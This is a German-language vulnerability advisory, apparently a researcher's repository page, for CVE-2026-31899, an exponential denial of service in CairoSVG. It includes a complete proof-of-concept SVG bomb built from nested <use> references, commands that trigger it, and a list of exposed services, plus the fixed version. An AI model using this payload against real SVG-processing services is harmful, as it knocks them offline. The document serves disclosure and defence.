
CVE-2026-31899: Exponential DoS via Recursive <use> Element Amplification in CairoSVG (CVSS 7.5 High)
Schlüsselwörter: CVE-2026-31899, CairoSVG, exponentieller DoS, SVG-Bombe, rekursives use-Element, Denial-of-Service, XML-Verstärkung, Python SVG-Schwachstelle, CWE-400, unkontrollierter Ressourcenverbrauch, Billion Laughs SVG
CairoSVG Exponential Denial of Service (CVE-2026-31899) — Ein 1.411 Byte großes SVG-Payload belegt die CPU dauerhaft zu 100 % durch rekursive -Element-Verstärkung.
CairoSVG (~300K Downloads/Woche) ist ein weit verbreiteter SVG-zu-PNG/PDF-Konverter in Python. Die use()-Funktion in cairosvg/defs.py verarbeitet -Elemente rekursiv, ohne Begrenzung der Tiefe oder Anzahl. Mit 5 Verschachtelungsebenen und jeweils 10 Referenzen löst ein kleines SVG 10^5 = 100.000 Rendering-Aufrufe aus – eine SVG-Variante des „Billion Laughs“-Angriffs.
Entdeckt von: Kai Aizen — SnailSploit Veröffentlicht: 13. März 2026 CVSS-Score: 7.5 (Hoch) CWE: CWE-400 — Unkontrollierter Ressourcenverbrauch Paket: CairoSVG (PyPI) Angriffstyp: Exponential Denial of Service Erforderliche Berechtigungen: Keine (Nicht authentifiziert)
Die use()-Funktion in cairosvg/defs.py (Zeile ~335) löst -Elemente rekursiv auf, die auf andere -Elemente verweisen. Es gibt weder eine Rekursionstiefenbeschränkung noch ein Gesamt-Element-Budget. Ein Angreifer kann ein kleines SVG erstellen, bei dem jede Schicht die vorherige Schicht N-mal referenziert, was O(N^depth) Rendering-Aufrufe aus O(depth) Eingabe erzeugt.
Die Schwachstelle besteht, weil:
Mit 5 Ebenen und einem Verzweigungsfaktor von 10:
Ebene 0: 1 Element (root <use>)
Ebene 1: 10 Elemente
Ebene 2: 100 Elemente
Ebene 3: 1.000 Elemente
Ebene 4: 10.000 Elemente
Ebene 5: 100.000 Rendering-Aufrufe
Gesamt: 111.111 Rendering-Aufrufe aus einem 1.411 Byte großen Input.
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<g id="a"><rect width="1" height="1"/></g>
<g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
<g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
<g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
<g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
</defs>
<use xlink:href="#e"/>
</svg>
Methode 1 – Kommandozeile:
timeout 10 cairosvg poc.svg -o test.png
# Erwartet: timeout beendet den Prozess nach 10 Sekunden (er wird nie fertig)
Methode 2 – Python:
import cairosvg
import signal
signal.alarm(5) # Beenden nach 5 Sekunden
try:
cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
print("[!!!] BESTÄTIGT: CPU-Erschöpfung – Prozess wurde in 5s nicht fertig")
Jeder Dienst, der SVG-Eingaben akzeptiert und CairoSVG zur Verarbeitung verwendet, ist verwundbar:
| Angriffsfläche | Beispiel |
|---|---|
| Miniaturansicht-Erstellung | SVG hochladen → Server konvertiert in PNG |
Eine einzelne Anfrage mit einem 1,4 KB Payload belegt den Verarbeitungsthread dauerhaft, während nur minimaler Speicher verbraucht wird (kein OOM-Kill, der Sie rettet).
Aktualisieren Sie CairoSVG auf Version 2.9.0 oder höher:
pip install --upgrade CairoSVG>=2.9.0
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
| Datum | Ereignis |
|---|---|
| 2026-03-09 | CVE reserviert |
| 2026-03-13 | Advisory veröffentlicht (GHSA-f38f-5xpm-9r7c) |
| 2026-03-13 | CairoSVG 2.9.0 mit Fix veröffentlicht |
Kai Aizen (SnailSploit)
⚠️ Haftungsausschluss: Dieses Repository dient ausschließlich Bildungs- und autorisierten Sicherheitsforschungszwecken. Der Proof of Concept wird bereitgestellt, um Verteidigern zu helfen, ihre Gefährdung zu validieren. Verantwortungsvoll nutzen.
Die vollständige Ausarbeitung, Methodik und verwandte Forschung dieses Projekts finden Sie unter:
Erstellt von Kai Aizen — unabhängiger offensive Sicherheitsforscher.
snailsploit.com · Research · Frameworks · GitHub · LinkedIn · ResearchGate · X/Twitter
Gleicher Angriff. Anderes Substrat.
| PDF-Erstellung | SVG in Dokument eingebettet → CairoSVG rendert |
| Avatar-/Bildverarbeitung | Vom Benutzer hochgeladene SVG-Profilbilder |
| Berichtserstellung | SVG-Diagramme in automatisierten Berichten |
| CI/CD-Pipelines | SVG-Assets während des Builds verarbeitet |
| Metrik | Wert |
|---|
| Angriffsvektor | Network (AV:N) |
| Angriffskomplexität | Low (AC:L) |
| Erforderliche Privilegien | None (PR:N) |
| Benutzerinteraktion | None (UI:N) |
| Auswirkungsbereich | Unchanged (S:U) |
| Vertraulichkeit | None (C:N) |
| Integrität | None (I:N) |
| Verfügbarkeit | High (A:H) |